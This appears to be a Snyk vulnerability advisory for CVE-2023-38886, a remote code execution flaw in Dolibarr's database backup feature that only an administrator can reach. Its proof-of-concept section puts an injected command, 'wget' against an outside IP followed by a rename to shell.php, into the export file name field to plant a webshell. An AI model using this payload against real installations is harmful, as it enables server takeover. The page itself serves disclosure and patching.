Remote Code Execution (RCE) Affecting dolibarr/dolibarr package, versions >=0.0.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-DOLIBARRDOLIBARR-5910188
- published 20 Sep 2023
- disclosed 20 Sep 2023
- credit BELABED Skander
Introduced: 20 Sep 2023
CVE-2023-38886 Open this link in a new tabHow to fix?
A fix was pushed into the master branch but not yet published.
Overview
dolibarr/dolibarr is a modern and easy to use web software to manage your business.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the dumpDatabase function due to missing input sanitisation, allowing an attacker to execute arbitrary code via a crafted command/script.
Note: This is only exploitable if the attacker has administrator privileges.
PoC
Add a new file named index.html containing a webshell.
Expose the newly created file on the root folder of a web server.
Go to the backup feature on Dolibarr and select the “mysqldump” export method.
Select the “lowmemorydump” method to hit the vulnerable section.
Put the payload as the export file name (e.g.
wget 192.168.1.167 && mv index.html shell.php).Click on generate backup.
Once done, the webshell should be found in htdocs/admin/tools/shell.php.